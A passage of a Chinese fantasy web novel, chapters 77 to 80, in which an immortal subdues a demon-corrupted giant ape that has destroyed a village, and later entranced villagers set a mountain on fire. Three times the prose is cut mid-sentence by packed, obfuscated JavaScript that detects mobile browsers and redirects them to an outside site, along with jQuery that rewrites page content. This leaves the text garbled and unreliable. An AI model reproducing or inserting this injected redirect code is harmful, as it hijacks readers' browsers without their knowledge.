树干粗的手臂向他们扫来,白衣将还未回神的慕小闲搂起,跃上房檐。尘土飞扬,尘雾散去后,手臂扫过处砸出一个大坑,周围的花草树木东倒西歪。 她为什么没有早一点发现?关在北溟海极数百年的狒狒就是因为吸食魔气变大的小猴子。 它说它是花果山的小猴子,原来是花神山。 它怎么连自己的家都能记错? 狒狒双目圆瞪,眼睛没有焦距,蹒跚地向外挪移,看到障碍物抬手就砸。 远处传来慌乱的声音,有村民听到声响出门查看。 “那是什么!”村里点起几盏亮光。 “怪物!有怪物啊!怪物吃人了!”街上响起仓促又慌乱的脚步声。 这就是三百年前发生过的事吗? 狒狒巨大的身躯从前厅碾压过去,精致的楼宇轰然倒塌,在它脚下变成了一摊废墟。砂砾从它脚下簌簌扑落,它抬脚向外走去,每走一步,地面随之震动。 狒狒抬脚突然顿了一下,阴影笼罩之下芸儿涕泗横流,软倒在地上。 狒狒歪了歪头,脚比划了一下,巨大的阴影缓缓落下。芸儿提起一口气,两眼一翻吓得昏死过去。 慕小闲捡起一块石头砸向狒狒,它的身子一歪,偏离了最初的轨迹。它粗重地喘息着,凶神恶煞地看向慕小闲,转身带着强烈的压迫感向她走来。 “小猴子!你清醒一点!”慕小闲冲它怒吼,但狒狒完全失控,什么也听不进去。 一拳砸下,瓦砾迸射,土灰扬起,整面坚固的石墙在面前碎裂成块,既然在轰然塌落的瞬间变成一堆废渣。碎石、木屑、瓷片七零八落,草地蒙上了一层灰色。 “小猴子......”慕小闲收了声,狒狒吸入的魔气太多已经回天无力。 狒狒踩踏了围墙,对着眼前的黑暗不满地怒吼,叫声如同炸雷惊天动地。林中沉睡的鸟儿纷纷展翅,动物哗哗向远处逃离。 村里的人陆续醒来跑出屋子,街道上一片鬼哭狼嚎。 稍早些时候,元叙只着单衣逆着人流奔向村子,慌乱中扣响褚家的大门。然而褚家依旧在一片宁静之中,他急得爬上院外的槐树,借着树枝翻墙而入。 一声细小的惊叫从褚宁房里溢出,元叙无暇解释,连人带被子一卷,抱出了房间。闻声最先出来的是褚也,他一看气的火冒三丈,大吼一声:“狗贼!放开我姐姐!”随着元叙跑出了宅子,褚家这才传来窸窸窣窣的声音。 褚也跑上街才察觉有些不对,深更半夜怎么街上全是人?他顺着人群的目光回头一看,眼珠子差点掉出来。 那高大的黑影瞪着猩红的双眼一脚踏入褚宅,将墙外那棵槐树连根拔起,树干横扫,顷刻间祥和的屋院化为乌有。 他脸色煞白,赶紧回头找人,在墙外的废墟之中将两位老人挖出。褚母昏厥过去,褚父头破血流,身上无法动弹,颤抖的手臂将他向外推去,有气无力地说:“快走......” 褚也脑子一翁,跪在地上一动不动,恍惚间有人将他拉起,被他推开。周遭在叫嚣什么,他不想听,只觉得自己做了一场荒诞又惨痛的梦。 身体被推推搡搡,一声凄厉的哭叫刺痛了他的耳膜,他回过神,发现姐姐搂着他哭得不能自已。他站在昏暗的山下,看着远处破碎的房屋,听着四处撕心裂肺的哭嚎,再之后的记忆仿佛被猝然掐断。 瓦釜雷鸣,街上堆满了碎石瓦砾,坍塌的石墙盖住了破碎的肉/体。声嘶力竭的哭嚎充斥着整个村子,血液从废墟中流出,粘在人们四处逃走的脚下,将死亡的气息带去了村子的每个角落。 “奶奶......”小女孩坐在废墟之中哭泣,在一片混乱中被旁人抱起就跑。 狒狒还在向前走,不顾四周的哭叫,每走一步地动山摇。 土石与肉身在它脚下崩裂,周遭的哭嚎似乎又尖利了几分。 它什么也不知道,只觉得好吵。 慕小闲捂着耳朵蹲在元宅中,皱着眉头想怎么还不天亮。 白衣站在她身旁,眺望着远处,忽觉衣摆微动,低头一看,慕小闲扯着他的下摆,红着眼问:“真的不能阻止吗?” 真的不能阻止吗? 这句话像一颗锋利的石子从他的喉头滚落,混着血水,划破了他的五脏六腑。 没有人比他更想改变过去。 也没有人比他更明白无计可施。 让它发生。 再让它毁灭。 除此之外,别无他法。 白衣向前迈了一步,慕小闲抬头巴巴地望着他,眼中是浓厚的期许。 他终是缓缓点了下头。 一身彻头彻尾的白色在黑暗中犹如天神降临,他执起手中的白芒,挥舞间数条剑影凌空一闪,哗哗几声向庞大的黑影袭去。 “那是什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137741|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是神仙!” “真的神仙!” 狒狒闻声缓缓转身,在看清招式之前,身上被砰砰击中。它仰头一声愤怒的嘶吼从口中逸出,向后倾倒。身后聚集的村民,连滚带爬尖叫着向别处跑去。 房屋应声倒塌,狒狒瘫倒在废墟之中,晃了晃脑袋,站起身冲着空中飘然的白衣咬紧了牙关。它皱紧眉目,双目冒着火光,两只鼻孔向外喷洒热气,又粗又长的双臂垂在身侧,就像两只大摆锤。被击中的位置烧掉了皮毛,猩红的皮肉外翻,浓稠的血液混着石灰从身上滚落。 全然看不出它是当初那只灵巧的小猴子。 狒狒怒吼一声,声音震耳欲聋,声浪过后方圆几百里鸦雀无声。 它抡起双臂在空中挥舞,对着矮楼横臂扫过,一排房屋轰地挤压在一起。尘烟四起,黄沙如浓雾般弥漫在空气中,眼前好像被蒙上了一层浑浊的帘帐。 狒狒没有意识,仅仅靠魔气支撑与身体的条件反射,行动并不灵活,但破坏力极大。 一阵旋风从白衣脚底升起,拂动衣袖扬起青丝,周围的气流变得急促。 狒狒抡起长臂向白衣袭来,与人同高的拳头带着疾风从天而降,像一块巨大的陨石。单薄的白色身影在暗夜中如流星转瞬即逝,拳头狠狠砸在他刚才所站之处,地面裂开了一条深不见底的缝隙,周遭的碎石哗哗地跌进缝隙之中。 人群躁动,叽叽喳喳。白衣冷眼扫过,人们只觉温度骤降身上寒毛竖立,立马噤声。 它的体型太大了。 很难在不伤害它的情况下控制住它。 白衣袖子在夜空划过,眼前出现了一条散发着寒气的白色光柱,在夜空中如同一条流动的银河。 星河浩瀚,夜空被一分为二,好像过去与现在被割裂了一般。 白光连成一线由上至下将狒狒硕大的身躯围了几圈,形成了一座巨大的牢笼。 慕小闲远远望着,心中之震撼,无法用言语表达。她以为自己将仙力凝结成鞭已经很厉害,但白衣居然能释放出数倍的仙力,充沛旺盛如同源源不断的河流。 白色仙力将狒狒团团围住,狒狒怒目圆瞪,在束缚中嘶吼。村民捂着耳朵东倒西歪,叫苦不迭。 狒狒高高抬起手臂,手臂上散发出紫色的氤氲,对着白色的圆环狠狠砸下。 白衣再强,现在也不过是道虚影。狒狒因吸入了镇压在地底的大量魔气,力量奇大无比,一拳之下白色的牢笼剧烈地闪烁,居然有向外消散之象。 白衣衣袖凌空一挥,又一波仙力加固。 狒狒碰到白环,从喉咙深处发出一声惨叫,身上皮毛似电击过后变成了焦黑色。 狒狒彻底愤怒,双目直直瞪着白衣,粗重地喘着气,身上的紫气烧得更旺。他仿佛不知道疼痛与疲劳一般,再次发起进攻,但碍于白环的束缚,它挥舞的双臂始终无法靠近白衣。 白衣冷静地飘在几米外,夜空中他的身影仿佛一点微弱的星辰,与面前的巨兽形成了巨大的反差。猛兽的暴怒与狂躁对他不起作用,他缓缓抬手,指尖对着狒狒的眉间,一线纯净的仙力缓缓注入它的眉心。 狒狒在束缚中不停挣扎,呲着牙向他咬去,随着源源不断的仙力注入,它猩红的双眼闪过一丝茫然。身上的狂躁渐渐平息,疼痛与疲惫在平静中袭来,巨大的身躯再也承受不住,轰然倒塌。 78. 第 78 章 愤怒与哀伤席卷了每个人的感官,人们对倒地不起的猛兽怒目而视,却不敢靠近。 “神仙......” “神仙保佑......” “多亏了神仙。” 村名看着倒地的猛兽,焦急地问: “这可怎么办?” “怎么把它弄走?” 白衣留下一句“天亮之后,自会有人收拾”,像夜空中一颗流星匆匆飞向了慕小闲所在的地方。 慕小闲站在废墟堆上,遥遥望着白色的身影向她飘来,背后是狒狒倒下的身躯,她连呼吸都在颤抖。 白衣衣袍沾上了些细碎的灰尘,让他看上去多了几分凡尘气息。见他没有受伤,她微微松了一口气,忧虑的目光转移到了狒狒身上,问:“它怎么样了?” 白衣轻声说:“别担心。只是让它睡着了。” 慕小闲悬着的心落下,垂眸轻轻点了下头:“天亮过后,会有偶然路过的神官将它带走。狒狒就这么......不明不白地被关进了北溟海极。” 白衣如雾般的眸子静静看着她,明明隔着面具看不清他的神情,但她却心中为之一动,仿佛感受到了目光的温度。 “三百年后,你会将它从北溟海极带出来。”慕小闲喃喃。 也许这就是一种因果循环吧。 村民聚集在山脚下,田里乌泱泱瘫坐着许多精疲力竭的人。 元叙安抚完褚宁、褚也,带着药箱查看村民们的伤势,用自己平时制作的药草为伤者治疗。 大多数村民在逃难时都有磕磕碰碰,也有被坍塌的建筑砸得伤经断骨。人们绕着狒狒走回村子,在废墟中寻找生还者,但结果并不理想。十几具尸身排在村外的小道,无法辨认拼凑的断肢堆成了一座小山。刺鼻的气味在田间弥漫,很快一把大火,什么都没有了。 昏暗天际渐渐如褪色的染布一样泛白,阳光一如往日慷慨地泼洒在这片土地上,掩盖在黑暗中的萧条与悲寂,终于残忍地暴露在了青天白日下。 花神山再也没有花神。 山里的鸟叫宛如一支哀乐,穿过高高的云层,随风消散。 慕小闲与白衣站在晨光下,身体越来越轻薄。 真正的神官随着阳光降临在花神村,宣读元嵘与狒狒犯下的罪行,就像慕小闲知道的一样,元嵘的魂魄被永远封禁在这个时空中,而狒狒则被带走。 “居然是元嵘?”村里的男丁悲愤欲绝:“我还以为他是个好人!” “知人知面不知心!当初元家老大说不定就是他害的!” “他倒是一死了之了!我家大郎死的好惨啊呜呜......” “爹娘啊——” “他夫人呢!他夫人不可能不知道!” “对!去抓他夫人!让她偿命!” 村民没多久就在村子一处废墟旁找到了芸儿,芸儿头发乱七八糟,手上脸上糊着尘土,瞪着眼睛看了一圈围过来的人,突然咧嘴嘻嘻一笑:“你们是来找我玩儿的吗?” 她背过身从废墟中扒拉出一只破碎的镯子,使劲套在了手腕上,碎裂的石头刮破了她白嫩的皮肤,她浑然不觉,举起来炫耀般说:“这是阿嵘哥哥送给我的!他说他要娶我回家!” 村民面面相觑,不知对这个疯女人如何下手,继而又去找元家剩下的唯一血脉。 元叙虽然年少就离开了元宅,但村民顾不得那么多,一定要找人泄愤。元叙正在帮受伤的老人上药,只觉得头顶的光线一暗,被人团团围住。 元叙被拎起衣领,“看你们元家干的好事!” 元叙被推搡,摔在地上。人群厌恶地看着他,唾弃道:“你说话啊!哑巴了?” 褚宁忧虑地守在褚父母身边,褚父浑身是伤,刚包扎好了伤口,褚夫人还昏迷不醒。她远远地望着元叙,想要上前,却被褚也拉住:“元家害的我们还不够惨吗?” 褚宁凝眉望了望元叙,又看向褚也:“关元叙什么事?如果不是他,我们一个都逃不出来。” 褚也一怔,赌气闭上嘴。 褚父闭着眼睛躺在地上,发出微弱的呼吸声。褚也俯身蹲下,侧耳贴在褚父脸旁,听到褚父颤抖的声音:“去......去帮元叙......” 他的声音微弱得如同吐息,但字字分明地灌入褚也的耳中。他心中一颤,凝视了父亲良久,抬头望向远处挨了几拳倒地挣扎的元叙,缓缓站起身。 元叙脸肿了半边,挤着眼睛滑稽地从地上爬起来,但此时谁也笑不出来。眼看几人又要挥拳而上,旁边的老人急得嚷嚷。 褚也突然闪身挡在元叙面前,握住了招呼来的拳头,眼神恶狠狠骂道:“想发泄我陪你们,做什么欺负无辜的人?” “他哪里无辜?那个怪物就是他招来的!” “就是啊,他前些天还和陌生人混在一起。” 人群嚷嚷道。 褚也握紧了拳头,铿锵有力地说道:“元叙和元嵘早就没有关系了!那个白衣人大家都看到了,他是前几天元叙身边的人!如果不是他,我们全部没救了!村子伤亡惨重,刚才元叙一直在替大家治疗,还有受伤的人等着他救治,你们却迁怒于他!这种紧要关头如果我们不能团结起来,村子就完蛋了!” 褚也的呼声唤起了人们的思考,人群中不断有人站出来替元叙说话。 “是啊,元叙这孩子我看着长大的,和他叔叔没什么来往。” “他叔叔早些年将他们一家赶出去,他大哥后来死了也没见他哭丧。” “这又关元叙什么事?他刚才还帮我贴药膏了。” “现在说这些有什么用?他还能把死了的人变出来不成?” 村民一番争论,元叙逃过一劫。村里懂医术的本就不多,医馆唯一传人元叙此时便成了顶梁柱,倒是因祸得福。 再往后,突如其来的悲怆如过眼云烟惨淡模糊,又如哀歌一曲散落在高山之巅。过去的林林总总,皆化为了今日的因缘际会。 时光快进,慕小闲与白衣回到了当世的花神庙。 两人的身影如一道白光照亮了神庙,光芒消散后,就见花莳恢复了先前那身混小子装扮,抱着双臂神色复杂地看着他们。目光在他们之间逡巡,望向白衣时带着几分忌惮。 他们在三百年前待了十天,对于花莳来说不过一日,但花莳感觉他们身上的状态和昨日迥然不同。 慕小闲冲花莳一笑,笑容却奇奇怪怪,好似受了什么刺激一样。 花莳翻了个白眼:“呵,不想笑就别笑。发生什么了?” 慕小闲舔舔嘴唇,眼神落在了破旧的石像上,将这些天他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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慕小闲点点头:“对。但是不知那些魔气是谁炼出来的,也不知是谁教元嵘入了魔。” 虽然不知道是何方神圣,但和魔族肯定脱不了干系。 花莳偷偷瞟了眼身侧临风而立的白色身影,抿了抿嘴唇:“你们辛苦了几日,我可以勉为其难让你们在这里休息一会儿,不过你们休息完了就快走,我这里地方小容不下大佛。” 慕小闲没精力与她斗嘴,真的寻了一处相对干净的地方小憩。累了几日,她什么都顾不上,倒头就睡着了。 不知过了多久,隐约觉得耳旁有窸窸窣窣的声音,她眯着眼瞅了一眼,是花莳挪到了她身边。 干什么扰人清梦?慕小闲转身换了个方向背对她,谁知花莳低下头凑近了,呼吸落在她耳边痒痒的。 慕小闲翻身而起,瞪了她一眼,碍于白衣合眼靠在远处不能出声。 花莳无所谓地瞥了她一眼,从地上爬起来,挑了挑眉示意她出去约架......不,出去说话! 慕小闲悄悄跟在她身后出门,走向了远处的树丛中:“你最好是有要紧事,不要以为你是石灵我就不敢对你动手。” 清幽的树荫下,两道人影对峙,风呼啸而过,树叶沙沙作响。 花莳冷哼一声,眼中闪过复杂的神色:“你和那人什么关系?” 白衣?慕小闲眸光闪烁,喃喃道:“说起来我们没什么关系,不过他救了我数次,是我的恩人。” 花莳扯了扯嘴角:“怎么可能没关系,你知道自己在说什么吗?” 慕小闲点点头:“你对他有什么疑虑?虽然我和他相处的时间不长,但我觉得他是个难得一见的好人。” 花莳别有意味地看了她一眼,摇摇头:“我看不像。” 79. 第 79 章 慕小闲疑惑道:“什么意思?” 花莳坏笑了一下:“他昨日来找我时的样子,浑身冷的像个冰块,眼神好像要把我生吞活剥了,可不像你说的那么乐施好善。” 慕小闲:? 花莳收敛笑容,正色道:“虽然我没感觉到他有恶意,但他和你想象的不太一样,你小心为妙。” 慕小闲点点头:“多谢提醒。”她顿了一下,接着说:“当年花神村的事情已经解决,应当不会对现在有影响,这件事告一段落,我要快点回去了。” 花莳挑眉问:“家里有人在等你?” 慕小闲神情一怔,心里涌上股奇奇怪怪的感觉,却不讨厌,反倒像是含了口蜜糖,傻笑道:“算是吧。” 遥远的天际星光璀璨,暗夜里传来了一道缥缈空灵的笛声...... 笛声仿佛从天而降,在梁上盘旋。 村里沉睡的人皱了下眉,不耐烦地翻了个身,突然半眯着眼睛僵硬地坐起身。 白衣守在神庙门口,眼见慕小闲神色慌张地跑回来,后面跟着面色惨白的花莳。 慕小闲四处眺望,带着紧张的目光落回白衣泛着冷光的银色面具上:“你听到了吗?” 白衣颔首。 “这个声音我在花神山上听过,之后就遇上了魔化的动物。我原本以为是那个阿寐发出的,但她已经死了。”慕小闲面露疑惑,心里有一种不好的预感。 耳边风突然大了起来,风中裹挟着一些呜呜的声音。 恢复仙力的慕小闲通感敏锐了许多,瞬间浑身紧绷,侧头盯着声音的来处。 有东西在靠近。 好像有很多。 是什么? 白衣眼神忽地变冷,拉起慕小闲的袖摆,沉声道:“走!” 花莳作为灵体,直觉更加敏锐一些,此时后退了两步,微张着嘴露出惊愕的神情,颤声道:“别走!你们不能走......” 慕小闲疑惑地看向她:“为什么?出什么事了?” 花莳跺了下脚,咬着嘴唇去拉慕小闲:“你不能走!” 慕小闲在两人之间僵持着,莫名其妙地回头眺望,远处黑压压一片,像是一支训练有素的军队向这边踏来。 浓云四散,月光初现。冰凉如水的月色在地面流淌,人群的面目渐渐清晰起来。 一个两个三个......花神村的村民此时半合着眼像是梦游一般,但手上却拿着榔头锄头,像被鱼线操作的木偶一样,肢体不协调地向他们走来。 数量太多了,怕是全村出动,其中不乏有熟悉的面孔。 远处笛声再起,人群之间躁动起来。 “这里恐怕还有魔族。”慕小闲对白衣说:“我们先看看情况。” 人群不一会儿行走至此,举起手中的武器向他们挥来。他们一个个普通人,经年累月辛苦劳作,动作不慢力气不小。 慕小闲与白衣一挥袖立在空中,看村民在脚下挥舞着,够不到自己的脚尖。 “他们会怎样?”慕小闲问。 “被魔气侵蚀,丧失本性。”白衣答道。 三百年的事情难道要重蹈覆辙? 花莳的灵体之身,像游魂一般守在祠堂旁焦急地看着疯魔的人群,忽然眼睛一亮:“元卓!元卓你醒醒!” 元卓支撑着瘦弱的身体跟在他家老父亲身旁,虽然也合着眼,但身上的魔气比旁的人淡上许多。也许是他曾有过仙缘,身上居然对魔气产生了抵抗之力。 元卓浑浑噩噩,陷入了与之前一般的梦游中,只是这次长途跋涉,走了好远。 花莳从人群中穿过,跑到元卓跟前,扯了扯他的袖子,见他没有反应,忽然抬手扇了他两巴掌:“元卓你醒醒!你......你没事装什么!” 慕小闲本以为即将要见证一场“生死离别情感大戏”,没想到是这种走向。 元卓挨了两下,吃痛地眨眨眼,抬头迷瞪着四处一望,有些回不过神。他的目光落在花莳脸上,觉得有些眼熟,又记不起来,“姑娘是?” 花莳一愣,低头看了看自己身上的装束,眼神有些闪烁。 “花莳。我叫花莳。”花莳脸上闪过一丝局促的别扭:“这个不重要。你快看看周围发生了什么。” 元卓疑惑地望着空中的慕小闲与白衣,然后迟疑地看了眼他们脚下不安分的人群......微张开口,一时不知该说什么。 元卓缓缓向空中作揖:“两位仙人。”然后问:“村里人都是怎么了?” 花莳:“他们被人操纵了,你快想想办法。” 元卓愣神了好一会儿,确定自己不是做梦:“怎么会这样......” 笛音渐强,聚集的人群身上散发出淡淡的紫色。而这声音居然对慕小闲也产生一些干扰,她身形不稳差点栽倒,幸好被白衣一把托住。她刚想说声谢谢,就发现白衣握住她的手变得十分清透,抬头一看他好像整个人都变得轻盈了许多。 不好!看来这笛声对白衣也有影响!她们恐怕在空中坚持不了多久! 笛声落在元卓耳中,眼神变换了数次,面目一会儿平常一会儿狰狞。花莳捂住他的耳朵,死死盯着他的眼睛:“别听。深呼吸,摒除杂念。” 过了一会儿,元卓缓和过来了,脸上露出一团红晕:“谢谢姑娘。” 花莳横了他一眼:“快去把人拉回来。” 元卓去拉自己的老父亲,元父本来就固执,现在更是油盐不进,一门心思参与斗争。元卓好言相劝,被周围推推搡搡,一把挤弄到地上。 花莳抽空瞥了一眼,冷笑道:“呵,你也太娇弱了。” 元卓是十几岁的少年,如此评价自然不服,更加卖力地劝阻。 “爹爹,你醒醒!我是卓儿啊!我们回去好不好?” 元父双眼迷瞪,哪里听得进去。 元卓又去夺他手中的烧火棍,眼眶一热:“你平时哪里会拿这东西.....” 元父停滞了一下,神情似乎在辨认他是谁。 元卓轻声说:“来,把它给我。” 元父半合着眼,神色一片迷茫。烧火棍慢慢抽离元父的手心,在即将脱离的一刻,元父突然像感受到了什么一般,神情紧张起来,一把将元卓推开。 元卓踉跄几步,撞到了旁边的花莳。他再瘦弱也是个男子,花莳的灵体本就轻盈,此时被他一撞,差点飞出去。 花莳回头破口大骂:“滚一边去!一点小事都办不好!我当初就不该救你!” 元卓怔然:“姑娘何时救过我?” 花莳翻了个白眼不想和他说话。 元卓怯弱地看着她说:“姑娘的眉眼如此清亮,还是少翻为好。” 花莳听了差点没一口血喷出来,夺过身旁不知是哪家的扫帚,追着元卓打了几下:“要你管!要你管!” 受魔音鼓动的村民更加猖狂起来,居然连元卓也不顾,挥动手中的武器向他袭来。元卓从小锦衣玉食哪里见过这般野蛮粗鄙的行为,惊得躲也不知道躲。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137743|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 花莳一把将他推开,肩上挨了一榔头,半边身子立刻塌了下去,一只手臂没有知觉地垂在身边。花莳两眼充斥着怒火,一脚踢翻身后之人,冲元卓吼道:“发什么呆!要你有何用!” 元卓刚从怔愣中醒来,又被她一嗓子吼懵了。好一会儿才又加入战斗,狠狠挨了几下,从乡亲手中抢出来了一些东西。 魔音灌耳,慕小闲身上的力气好像被抽离了一般,整个人倚靠在白衣身上。他身上传来淡淡的香气,仿佛能压制那笛音带来的躁动。 但是白衣身上的颜色越来越淡了,好像一阵风就能将他带走。 他不能再留在这里。 慕小闲小声说:“那笛声是冲我们来的,他们一时半会儿不会清醒,花莳和元卓也拿他们没办法。我们待在这里只是白耗仙力,不如上山看能不能摆脱他们。” 白衣点了点头,忽然撤去力气,在地面飘荡而过,引得躁动的人群纷纷向他们冲来。慕小闲牵着白衣的袖子,与他一同缓缓升起,一点仙力通向花神山,两道人影飞速飘过。 人群挤兑着冲向深山老林,花莳与元卓各负了伤,跟不上他们精力旺盛的脚步,渐渐落在后面。 夜里的花神山,比之前热闹了许多。慕小闲与白衣一晃而过,脚下被吵醒的动物不明所以地抬头眺望。 有几只动物甚至不明所以地跟着他们狂奔了一段,但是距离太远,两人速度太快,在途中跟丢。 慕小闲与白衣穿过瀑布,到达花神山的另一面。笛声在他们上山后突然消失,也许那个吹笛人就隐藏在山里的某个地方。 慕小闲落在山洞前,望着黑漆漆的洞口,有一种恍若隔世的感觉。周围阴恻恻的,她回头看了看先前阿寐躲藏的矮树丛,那里空无一人。 “这是山的另一侧,他们一时半会儿不会追过来。”慕小闲解释道。 白衣在洞口迟疑了一会儿,跟着慕小闲走了进去。 深入洞穴,洞内安静极了。慕小闲为了打破沉静说:“上次我在这里遇到了一个魔族,她叫阿寐。她囚禁了这座山里的走兽,将它们炼成了魔物。” 她的声音在甬道回响,白衣静静听着。 “本来华尧想将他带回天庭受审,但她不知道为什么自焚了。天庭这么可怕吗?” 白衣抬眼与她对视,缓缓说:“你入北溟海极不害怕?” 慕小闲深吸一口气:“那倒也是。虽然天庭神官的生活看起来滋润,但实则暗潮汹涌,稍有不慎......就是我的下场。说起来,还没我在青丘的日子过得自在。” 白衣眼睫煽动:“你觉得这里更好?” 慕小闲点点头:“在天庭要看人眼色,不适合我。青丘无人管束,我乐得自在。不过也不是没人管我,只是管的不多哈哈。” 两人走进分岔路口的第一条,在空地小憩片刻,又顺着通道走向了第二条。 第二条通道与第一条相连,上一次她与华尧受不了里面遗留的血腥味,没有进去。 地上的血迹被泥土掩埋,一路只剩下零星暗黑色的斑点与墙壁上泼洒的黑暗。第二条通道不长,不一会儿便走到头,空气中血腥味淡去,但还混杂着一种黯淡的死气。 慕小闲伸手擦出一道亮光,将洞内点燃,忽然发觉墙壁上的痕迹有些不同寻常。她凝眉走进了几步,将手中的光举高,发现四周的墙壁上居然刻着图案。 她回头看了白衣一眼,转头仔细研究墙壁上的画。为什么这里有壁画?是谁、在什么时候刻的? 80. 第 80 章 幽幽灯火下,凹凸不平的墙壁上混着黯淡的血迹。血迹之下,隐藏着一连串年代久远的壁画。壁画在经年累月的风蚀后,只留下浅浅的一层印记,如果不细看甚至会忽略。但慕小闲很快就领会了画中的意思,因为画面太熟悉了。 画上,两位风姿翩然的神仙腾云驾雾穿过高山丛林,偶然来到了一个与世隔绝的村庄。村民十分热情,拿出家里的瓜果招待两位仙人。但此时看似平静的村庄实则隐藏着重重迷雾,画面一转,黑夜中,一位村民在屋子中蹑手蹑脚做着什么,神情好似入魔一般。 一团晦暗的雾气升腾,而后冒出一只体型巨大、其貌不扬的动物。那动物比村里的房屋高出几倍,背影与远处的巍峨的山影一般。它暴戾地在村里肆虐,村民惊慌失措,在黑夜中四处逃散。最终,两位神仙合力将动物打败,乘着祥云消失在晨曦之中,再也无人见过他们。 慕小闲扯着嘴角苦笑一下,花神村乱拜神的习俗还真是一脉相承。她侧头看向白衣,只见他正望着末尾的那副图出神。慕小闲悄悄靠近,仔细看了眼墙上的小人,发现最后这副画得格外生动。两个仙人一位长发飘飘,一位头发高高束起,两人携手而归,好似神仙眷侣。 ......这个诡异的气氛是怎么回事? “这是谁画的?”慕小闲问。 白衣:“约莫是当年村子里的人。” 原来早就有人将这段历史画在了洞内。不过他们是不是误会了什么? “等等,我们只是回到过去见证了这段故事,但事实上我们并没有参与。他画上的两位神仙难道不是我们?” 白衣淡淡答道:“不是。当年有一对仙人游历至此,一齐收服了那只小猴子并将他带回了天庭。我们不过回到那段时空中顶替了他们的位置。” 慕小闲眼中闪过一道精光:“这么说,当年是那对仙人发现了元嵘的秘密,我还以为是我们不小心将魔气放出来的。” 白衣道:“元嵘从一开始就想要破坏祭台,因为当年发生了同样的事。” 慕小闲点点头:“所以他才会说他一定会成功。因为就算没有我们,他也会在那个时间、那个地点重复已经发生过的事情。” 原来如此。她以为自己深入其中,其实不过是个有些参与感的看客。 慕小闲有些伤感:“不知道狒狒去哪儿了。他还记得回来的路吗?” 约莫是两人都觉得狒狒不可能自己找回来,自海上一别它去了哪里又不得而知,于是陷入了良久的沉默。 半晌,慕小闲吸了吸鼻子,突然闻到空气中混杂着一丝难闻的烟味。她疑惑地向通道望去,蹙起眉,与白衣对视一眼,匆匆向外跑去。 烟味越来越明显,慕小闲呛了口气,扶墙剧烈地咳起来。 “他们......他们咳咳......他们疯了吗?”慕小闲吼道:“他们难道想放火烧山?” 她心口涌上一股难以言表的郁结之气,皱紧了眉头望向洞外。火势还未逼近,但浓烟已然高出丛林数丈。一阵大风刮过,火势如海浪般席卷,将天空染上了一层血色。 浓烟滚滚,四处飘散。 丛林中的鸟兽大惊,慌乱地惊叫奔走。一时间,山里如同炼狱一般。 “他们难道不怕毁了村子?”慕小闲惊愕地说。 “他们现在没有意识,不知道自己在做什么。”白衣眼中露出凝重的色彩。 一旦火势加剧,周围的生灵、山脉、房屋一个都逃不掉。 “吹笛子的人呢?他不是在这山中吗?为什么他不阻止这帮村民?”慕小闲愤愤地说。 “先出去。”白衣拉住慕小闲的袖子,无意间触碰到了她的手腕。一丝冷到极致的触感让慕小闲心里一颤,她抓住白衣的手,疑惑地问:“你的手为什么这么冰?” 白衣不动声色地抽回手:“我向来如此。” 慕小闲随白衣走出山洞,向外未走几步,就见高空火舌一卷,身旁的树林瞬间被高涨的火焰吞噬,树影在熊熊火光之中坚持不了几秒便成了一柱焦黑色,而后尘归尘土归土,化作了山间的一阵风、一粒沙。 天边一道稀薄的祥云在火场焦急地绕了一个圈,稍一靠近便化成零星雨点落下来。白衣一挥衣袖,虚弱的祥云悠悠飘远了。 火光充斥着慕小闲的眼眶,在她的脑海中横冲直撞。她闭上眼睛,企图避开火光,但眼皮依旧被一层融融热意附着,让她心口剧烈一缩,双腿无力地跌坐下去。她撑着身体,大口喘息,浑身止不住地颤抖。 一股不知从何而来的恐惧感猝然占据了她的意识,好像头皮被刺入了无数细密的针,让她忍不住浑身战栗。 怎么回事?她捂住心口,但惧意没有一丝一毫减退。她像一只离开了水的鱼,大口呼吸但却喘不上气,不一会儿发丝就湿透了。 眼前的景物模糊起来,她甩了甩头,一睁眼,迷迷糊糊看到自己周围变成了一个宽敞亮丽的房间,红漆柱子顶着高大的房梁,古朴高雅的床榻静卧于内室,铺张的地毯上繁花锦簇。一转身屋外的热气扑面而来,火舌叫嚣着从雕花窗棂卷入,粗暴地吞噬了窗边冰清如玉的白瓷瓶。 ——好热。我要出去。 ——不行。不能出去。 两股意识在她脑海中对抗,她几乎要昏死过去。 冰凉的手托着她的脸颊,将她的脸轻轻抬起,轻柔的声音如涓涓细流浇灭了她心中的燥热。 “看着我的眼睛。 “别去想那些事情。 “别怕......” 思绪被一点点拉回,清醒深刻的眼眸撞进她迷茫的眼底,慕小闲眨眨眼睛,眼神逐渐恢复清明,但脸颊因喘不上气变得通红。 “我......我是怎么了。”她试着从地上起来,但身上就是使不上力,她越是用力越是无能为力,急得满头大汗。 白衣眼中闪过一丝刺痛,抱起慕小闲往回走,他看上去身体轻盈,但每一步都显得有些吃力。慕小闲紧紧倚靠在白衣胸前,汗珠从她的发丝滴落,浸透在白衣的衣襟上。 洞内传来瀑布的轰鸣,两人退回山洞深处。 外面是火,洞内封闭,一旦烟气涌入,他们无法逃脱,待在这里绝不是长久之计。 